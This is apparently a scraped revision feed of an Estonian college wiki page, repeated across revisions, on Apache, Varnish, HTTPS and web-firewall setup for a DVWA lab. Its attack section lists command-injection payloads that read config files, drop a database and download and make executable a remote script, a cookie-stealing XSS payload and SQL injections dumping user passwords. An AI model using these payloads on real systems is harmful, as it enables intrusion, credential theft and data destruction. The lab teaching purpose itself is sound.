netstat -lntp&lt;br /&gt;
&lt;br /&gt;
#installeerime varnish cache&lt;br /&gt;
apt-get install varnish&lt;br /&gt;
vim /etc/default/varnish&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
DAEMON_OPTS=&amp;quot;-a :80 \&lt;br /&gt;
             -T localhost:6082 \&lt;br /&gt;
             -f /etc/varnish/default.vcl \&lt;br /&gt;
             -S /etc/varnish/secret \&lt;br /&gt;
             -s malloc,256m&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Faili /etc/varnish/default.vcl lisada X-Forwarded-For sedmine&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sub vcl_recv {&lt;br /&gt;
&lt;br /&gt;
  # Add a unique header containing the client address&lt;br /&gt;
&lt;br /&gt;
  remove req.http.X-Forwarded-For;&lt;br /&gt;
&lt;br /&gt;
  set    req.http.X-Forwarded-For = client.ip;&lt;br /&gt;
&lt;br /&gt;
  # [...]&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service varnish restart&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nüüd tuleb seadistada apache veebiserver selliselt, et logis kasutatakse seda custom-logi formaati. Selleks tuleb avada soovitud veebiserveri konfiguratsioon asukohas:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cd /etc/apache2/sites-available/&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Avage soovitud veebiserveri konfiguratsioonifail. Antud näites kasutan &amp;quot;wp&amp;quot;-nimelist faili.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nano wp&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Sinna tuleb kirjutada CustomLog&#039;i rea asemele&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
CustomLog ${APACHE_LOG_DIR}/access.log varnishcombined&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nüüd tuleb muuta apache2 konfiguratsiooni, kuhu tuleb seadistada varnishcombined logiformaat. Selleks liigu asukohta&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cd /etc/apache2/conf.d/&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tee sinna uus fail nimega näiteks &#039;&#039;&#039;varnishlog.conf&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nano varnishlog.conf&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kirjuta sinna see rida&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
LogFormat &amp;quot;%{X-Forwarded-For}i %l %u %t \&amp;quot;%r\&amp;quot; %&amp;gt;s %b \&amp;quot;%{Referer}i\&amp;quot; \&amp;quot;%{User-Agent}i\&amp;quot;&amp;quot; varnishcombined&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tee apache2 teenusele restart&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service apache2 restart&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=DVWA ründed=&lt;br /&gt;
=HTTPS konfigureerimine=&lt;br /&gt;
&lt;br /&gt;
ssh-keygen &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Generating public/private rsa key pair.&lt;br /&gt;
Enter file in which to save the key (/root/.ssh/id_rsa): /etc/ssl/private/www.planet.zz.key&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Enter passphrase (empty for no passphrase): &lt;br /&gt;
Enter same passphrase again: &lt;br /&gt;
Your identification has been saved in /etc/ssl/private/www.planet.zz.key.&lt;br /&gt;
Your public key has been saved in /etc/ssl/private/www.planet.zz.key.pub.&lt;br /&gt;
The key fingerprint is:&lt;br /&gt;
76:6e:6a:b4:1b:75:7e:39:18:12:59:ee:9c:4c:b9:ef root@server&lt;br /&gt;
The key&#039;s randomart image is:&lt;br /&gt;
+--[ RSA 2048]----+&lt;br /&gt;
|            .    |&lt;br /&gt;
|           + .   |&lt;br /&gt;
|          o +    |&lt;br /&gt;
|           * o   |&lt;br /&gt;
|        S + O    |&lt;br /&gt;
|       ..+ + + . |&lt;br /&gt;
|       ...o o =  |&lt;br /&gt;
|        o+   o . |&lt;br /&gt;
|       .o.    E  |&lt;br /&gt;
+-----------------+&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
openssl req -new -key /etc/ssl/private/www.planet.zz.key -out /root/www.planet.zz.req&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
You are about to be asked to enter information that will be incorporated&lt;br /&gt;
into your certificate request.&lt;br /&gt;
What you are about to enter is what is called a Distinguished Name or a DN.&lt;br /&gt;
There are quite a few fields but you can leave some blank&lt;br /&gt;
For some fields there will be a default value,&lt;br /&gt;
If you enter &#039;.&#039;, the field will be left blank.&lt;br /&gt;
-----&lt;br /&gt;
Country Name (2 letter code) [AU]:EE&lt;br /&gt;
State or Province Name (full name) [Some-State]:Harjumaa&lt;br /&gt;
Locality Name (eg, city) []:Tallinn&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Planet &lt;br /&gt;
Organizational Unit Name (eg, section) []:&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:www.planet.zz&lt;br /&gt;
Email Address []:&lt;br /&gt;
&lt;br /&gt;
Please enter the following &#039;extra&#039; attributes&lt;br /&gt;
to be sent with your certificate request&lt;br /&gt;
A challenge password []:&lt;br /&gt;
An optional company name []:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sudo openssl x509 -req -days 3650 -in /root/www.planet.zz.req -signkey /etc/ssl/private/www.planet.zz.key -out /etc/ssl/certs/www.planet.zz.pem&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Signature ok&lt;br /&gt;
subject=/C=EE/ST=Harjumaa/L=Tallinn/O=Planet/OU=IT/CN=www.planet.zz&lt;br /&gt;
Getting Private key&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
cp /etc/apache2/sites-available/default-ssl /etc/apache2/sites-available/www.planet.zz-ssl&lt;br /&gt;
&lt;br /&gt;
Seal muuta sisu (sert, dokument root, keyfail)&lt;br /&gt;
&lt;br /&gt;
Lisa ServerName, Muuda DocumentRoot, Muuda SSLCertificateFile ja SSLCertificateKeyFile&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ServerName      www.planet.zz&lt;br /&gt;
DocumentRoot /var/www/www.planet.zz&lt;br /&gt;
SSLCertificateFile    /etc/ssl/certs/www.planet.zz.pem&lt;br /&gt;
SSLCertificateKeyFile /etc/ssl/private/www.planet.zz.key&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
a2ensite www.planet.zz-ssl&lt;br /&gt;
&lt;br /&gt;
service apache2 restart&lt;br /&gt;
&lt;br /&gt;
=ID kaart=&lt;br /&gt;
&lt;br /&gt;
[[ID kaardiga autentimine Apache2 veebiserveriga]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=DVWA ründed=&lt;br /&gt;
==cmd exec==&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8; sed &#039;s/&amp;lt;/UUUU/&#039; ../../config/config.inc.php&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8; ls -l &lt;br /&gt;
8.8.8.8; ls -l ../&lt;br /&gt;
8.8.8.8; ls -l ../../&lt;br /&gt;
#jne, kuni kõik failid/kataloogid on teada&lt;br /&gt;
8.8.8.8; sed &#039;s/&amp;lt;//&#039;  ../../../../wordpress/wp-config.php&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Loon faili kala /var/tmp kataloogi&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8; touch /var/tmp/kala.txt&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ning kontrollin kas fail loodi&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8; ls /var/tmp/&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kustutada andmebaas (eelnevalt uurida andmebaasi nime ning parooli):&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8;mysqladmin DROP dvwa -y;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kuvada failide infot:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8;cat /etc/apache2/sites-enabled/www.planet.zz&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
skripti laadimine serverisse ning sellele käivitusbiti andmine:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
8.8.8.8; wget http://enos.itcollege.ee/~kloodus/osadmin/skript.sh -O /var/tmp/skript; chmod +x /var/tmp/skript/skript.sh&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kuidas teada saada, kas küpsised on JavaScriptile kasutamiseks lubatud või mitte. Lahendus kasutab command execution&#039;it (XSS auku pole leitud, ei saa kasutada, ...)&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
; grep session.cookie_httponly /etc/php5/apache2/php.ini&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Väljund:&lt;br /&gt;
* kui küpsised ei ole JavaScriptile loetavad, siis on väljund selline:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;session.cookie_httponly = 1&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* kui küpsised on JavaScriptile loetavad, siis on väljund selline (HINT: Tegutse ruttu! :))&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;session.cookie_httponly = 0&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
==XSS==&lt;br /&gt;
&amp;lt;source lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;var i=&#039;&amp;lt;img src=&amp;quot;http://192.168.56.101/&#039;+document.cookie+&#039;&amp;quot; /&amp;gt;&#039;; document.write(i);&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
==veel XSSi==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
%3Cscript%3Evar+i%3D%27%3Cimg+src%3D%22http%3A%2F%2F192.168.56.101%2F%27%2Bdocument.cookie%2B%27%22+%2F%3E%27%3B+document.write%28i%29%3B%3C%2Fscript%3E&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
==SQLi==&lt;br /&gt;
&amp;lt;source lang=&amp;quot;sql&amp;quot;&amp;gt;&lt;br /&gt;
#blind&lt;br /&gt;
1&#039; union select BENCHMARK(100000000,ENCODE(&#039;hello&#039;,&#039;goodbye&#039;)),1; # --&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2&#039; union select TABLE_SCHEMA, TABLE_NAME from information_schema.tables;# --&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3&#039; union  select TABLE_NAME,COLUMN_NAME from information_schema.columns; # --&lt;br /&gt;
&lt;br /&gt;
4&#039; union select user_login,user_pass from wp.wp_users; #&lt;br /&gt;
&lt;br /&gt;
3&#039; union  select TABLE_NAME,concat(COLUMN_NAME,&#039;-&#039;,&#039;LISA&#039;) from information_schema.columns; #&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=GreenSQL firewall=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wget http://elab.itcollege.ee:8000/Day3/greensql-fw_1.3.0_amd64.deb&lt;br /&gt;
&lt;br /&gt;
dpkg -i greensql-fw_1.3.0_amd64.deb&lt;br /&gt;
&lt;br /&gt;
apt-get install -f&lt;br /&gt;
&lt;br /&gt;
#Modify existing virtualhost or create new virtualhost.&lt;br /&gt;
&lt;br /&gt;
cd /var/www/EXISTINGORNEW&lt;br /&gt;
ln -s /usr/share/greensql-fw/ greensql&lt;br /&gt;
&lt;br /&gt;
cd greensql&lt;br /&gt;
chmod 0777 templates_c&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasutajanimi veebiliidesel on &#039;&#039;&#039;admin&#039;&#039;&#039; ja parool &#039;&#039;&#039;pwd&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Muutke DVWA config failis andmebaasi asukohta:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$_DVWA[ &#039;db_server&#039; ] = &#039;127.0.0.1:3305&#039;;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#lisage faili /etc/rc.local järgmine ride ENNE exit 0 rida&lt;br /&gt;
service greensql-fw start&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=modsecurity=&lt;br /&gt;
==installeerimine==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt-get install libapache2-mod-security2&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Muutke faili &#039;&#039;&#039;/etc/apache2/mods-available/security2.conf&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;IfModule security2_module&amp;gt;&lt;br /&gt;
        # Default Debian dir for modsecurity&#039;s persistent data&lt;br /&gt;
        SecDataDir /var/cache/modsecurity&lt;br /&gt;
&lt;br /&gt;
        # Include all the *.conf files in /etc/modsecurity.&lt;br /&gt;
        # Keeping your local configuration in that directory&lt;br /&gt;
        # will allow for an easy upgrade of THIS file and&lt;br /&gt;
        # make your life easier&lt;br /&gt;
        IncludeOptional /etc/modsecurity/*.conf&lt;br /&gt;
        IncludeOptional /usr/share/modsecurity-crs/base_rules/*.conf&lt;br /&gt;
        IncludeOptional /usr/share/modsecurity-crs/activated_rules/*.conf&lt;br /&gt;
&lt;br /&gt;
        SecRuleEngine On&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Teeme nimelingi modsecurity reeglite seadistamiseks:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ln -s /usr/share/modsecurity-crs/modsecurity_crs_10_setup.conf /etc/modsecurity/&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Apache2 tweaks=&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;&lt;br /&gt;
ServerSignature Off&lt;br /&gt;
ServerTokens Prod&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://chandank.com/webservers/apache/apache-web-server-hardening-security?start=3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Apache testimine ==&lt;br /&gt;
Lisaks ab&#039;le on olemas ka teisi utiliite:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1.Apache JMeter - http://jmeter.apache.org/download_jmeter.cgi &amp;lt;br&amp;gt;&lt;br /&gt;
2. httperf - http://www.hpl.hp.com/research/linux/httperf/download.php &amp;lt;br&amp;gt;&lt;br /&gt;
3. OpenWebLoad - http://openwebload.sourceforge.net/#download &amp;lt;br&amp;gt;&lt;br /&gt;
4. Allmon - https://code.google.com/p/allmon/downloads/list &amp;lt;br&amp;gt;&lt;br /&gt;
5. CLIF - http://clif.ow2.org/download/index.html &amp;lt;br&amp;gt;&lt;br /&gt;
6. curl-loader - http://sourceforge.net/projects/curl-loader/files/ &amp;lt;br&amp;gt;&lt;br /&gt;
7. deluge(alates 2002 ei ole uusi versioone) - http://sourceforge.net/projects/deluge/ &amp;lt;br&amp;gt;&lt;br /&gt;
8. dieseltest(ainult windowsile ning pole uuendatud aastast 2001) - http://sourceforge.net/projects/dieseltest/ &amp;lt;br&amp;gt;&lt;br /&gt;
9. FWPTT - http://sourceforge.net/projects/fwptt/files/ &amp;lt;br&amp;gt;&lt;br /&gt;
10. http_load - http://www.acme.com/software/http_load/ &amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Virtualhost_apache2_n%C3%A4itel&amp;diff=88394</id>
		<title>Virtualhost apache2 näitel</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Virtualhost_apache2_n%C3%A4itel&amp;diff=88394"/>
		<updated>2015-05-04T10:13:59Z</updated>

		<summary type="html">&lt;p&gt;Mernits: /* installeerimine */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Category:IT infrastruktuuri teenused]]&lt;br /&gt;
=Apache seadistamine=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/etc/hosts&lt;br /&gt;
&lt;br /&gt;
192.168.56.101  www.planet.zz&lt;br /&gt;
192.168.56.101  sales.planet.zz&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ping www.planet.zz&lt;br /&gt;
&lt;br /&gt;
ping sales.planet.zz    &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
apt-get update     &lt;br /&gt;
apt-get dist-upgrade&lt;br /&gt;
&lt;br /&gt;
apt-get install apache2&lt;br /&gt;
&lt;br /&gt;
mkdir -p /var/www/www.planet.zz&lt;br /&gt;
mkdir -p /var/www/sales.planet.zz&lt;br /&gt;
cp /var/www/index.html /var/www/www.planet.zz&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
cat &amp;gt;&amp;gt; /etc/network/interfaces &amp;lt;&amp;lt;EOL&lt;br /&gt;
auto eth1:0&lt;br /&gt;
iface eth1:0 inet static&lt;br /&gt;
        address 192.168.56.201&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
EOL&lt;br /&gt;
&lt;br /&gt;
ifup eth1:0&lt;br /&gt;
&lt;br /&gt;
cp /var/www/index.html /var/www/sales.planet.zz&lt;br /&gt;
vim /var/www/www.planet.zz/index.html&lt;br /&gt;
vim /var/www/sales.planet.zz/index.html&lt;br /&gt;
cp /etc/apache2/sites-available/default /etc/apache2/sites-available/www.planet.zz&lt;br /&gt;
cp /etc/apache2/sites-available/default /etc/apache2/sites-available/sales.planet.zz&lt;br /&gt;
&lt;br /&gt;
vim www.planet.zz &lt;br /&gt;
vim sales.planet.zz &lt;br /&gt;
&lt;br /&gt;
a2ensite www.planet.zz&lt;br /&gt;
a2ensite sales.planet.zz &lt;br /&gt;
service apache2 reload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=WordPress tuning=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
        ServerName wp.planet.zz&lt;br /&gt;
        DocumentRoot /var/www/wordpress&lt;br /&gt;
        &amp;lt;Directory /&amp;gt;&lt;br /&gt;
                Options FollowSymLinks&lt;br /&gt;
                AllowOverride None&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /var/www/wordpress&amp;gt;&lt;br /&gt;
                Options Indexes FollowSymLinks MultiViews&lt;br /&gt;
                AllowOverride All&lt;br /&gt;
                Order allow,deny&lt;br /&gt;
                allow from all&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/&lt;br /&gt;
        &amp;lt;Directory &amp;quot;/usr/lib/cgi-bin&amp;quot;&amp;gt;&lt;br /&gt;
                AllowOverride None&lt;br /&gt;
                Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch&lt;br /&gt;
                Order allow,deny&lt;br /&gt;
                Allow from all&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
&lt;br /&gt;
        # Possible values include: debug, info, notice, warn, error, crit,&lt;br /&gt;
        # alert, emerg.&lt;br /&gt;
        LogLevel warn&lt;br /&gt;
&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
&lt;br /&gt;
    Alias /doc/ &amp;quot;/usr/share/doc/&amp;quot;&lt;br /&gt;
    &amp;lt;Directory &amp;quot;/usr/share/doc/&amp;quot;&amp;gt;&lt;br /&gt;
        Options Indexes MultiViews FollowSymLinks&lt;br /&gt;
        AllowOverride None&lt;br /&gt;
        Order deny,allow&lt;br /&gt;
        Deny from all&lt;br /&gt;
        Allow from 127.0.0.0/255.0.0.0 ::1/128&lt;br /&gt;
    &amp;lt;/Directory&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pange tähele muudetud Directory seadeid.&lt;br /&gt;
&amp;lt;Directory /var/www/wordpress&amp;gt;&lt;br /&gt;
AllowOverride All&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo &#039;-1000&#039; &amp;gt; /proc/$(pidof mysqld)/oom_score_adj&lt;br /&gt;
a2enmod rewrite &lt;br /&gt;
a2enmod headers &lt;br /&gt;
a2enmod expires &lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Selle rea võib lisada alglaadimisel käivitatavasse faili &#039;&#039;/etc/rc.local&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Paigaldage oma valitud cace plugin wordpressile.&lt;br /&gt;
&lt;br /&gt;
=Varnish=&lt;br /&gt;
Esmaselt tõstame apache2 porti 8080&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/etc/apache2/ports.conf&lt;br /&gt;
NameVirtualHost *:8080&lt;br /&gt;
Listen 8080&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cd /etc/apache2/sites-available&lt;br /&gt;
sed &#039;s/:80/:8080/&#039; default -i&lt;br /&gt;
sed &#039;s/:80/:8080/&#039; wp -i&lt;br /&gt;
sed &#039;s/:80/:8080/&#039; sales.planet.zz -i&lt;br /&gt;
sed &#039;s/:80/:8080/&#039; www.planet.zz -i&lt;br /&gt;
&lt;br /&gt;
#testimiseks&lt;br /&gt;
grep &#039;:80&#039; *&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
service apache2 restart&lt;br /&gt;
&lt;br /&gt;
#testimiseks&lt;br /&gt;
netstat -lntp&lt;br /&gt;
&lt;br /&gt;
#installeerime varnish cache&lt;br /&gt;
apt-get install varnish&lt;br /&gt;
vim /etc/default/varnish&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
DAEMON_OPTS=&amp;quot;-a :80 \&lt;br /&gt;
             -T localhost:6082 \&lt;br /&gt;
             -f /etc/varnish/default.vcl \&lt;br /&gt;
             -S /etc/varnish/secret \&lt;br /&gt;
             -s malloc,256m&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Faili /etc/varnish/default.vcl lisada X-Forwarded-For sedmine&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sub vcl_recv {&lt;br /&gt;
&lt;br /&gt;
  # Add a unique header containing the client address&lt;br /&gt;
&lt;br /&gt;
  remove req.http.X-Forwarded-For;&lt;br /&gt;
&lt;br /&gt;
  set    req.http.X-Forwarded-For = client.ip;&lt;br /&gt;
&lt;br /&gt;
  # [...]&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service varnish restart&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nüüd tuleb seadistada apache veebiserver selliselt, et logis kasutatakse seda custom-logi formaati. Selleks tuleb avada soovitud veebiserveri konfiguratsioon asukohas:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cd /etc/apache2/sites-available/&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Avage soovitud veebiserveri konfiguratsioonifail. Antud näites kasutan &amp;quot;wp&amp;quot;-nimelist faili.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nano wp&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Sinna tuleb kirjutada CustomLog&#039;i rea asemele&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
CustomLog ${APACHE_LOG_DIR}/access.log varnishcombined&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nüüd tuleb muuta apache2 konfiguratsiooni, kuhu tuleb seadistada varnishcombined logiformaat. Selleks liigu asukohta&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cd /etc/apache2/conf.d/&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tee sinna uus fail nimega näiteks &#039;&#039;&#039;varnishlog.conf&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nano varnishlog.conf&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kirjuta sinna see rida&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
LogFormat &amp;quot;%{X-Forwarded-For}i %l %u %t \&amp;quot;%r\&amp;quot; %&amp;gt;s %b \&amp;quot;%{Referer}i\&amp;quot; \&amp;quot;%{User-Agent}i\&amp;quot;&amp;quot; varnishcombined&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tee apache2 teenusele restart&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service apache2 restart&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=DVWA ründed=&lt;br /&gt;
=HTTPS konfigureerimine=&lt;br /&gt;
&lt;br /&gt;
ssh-keygen &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Generating public/private rsa key pair.&lt;br /&gt;
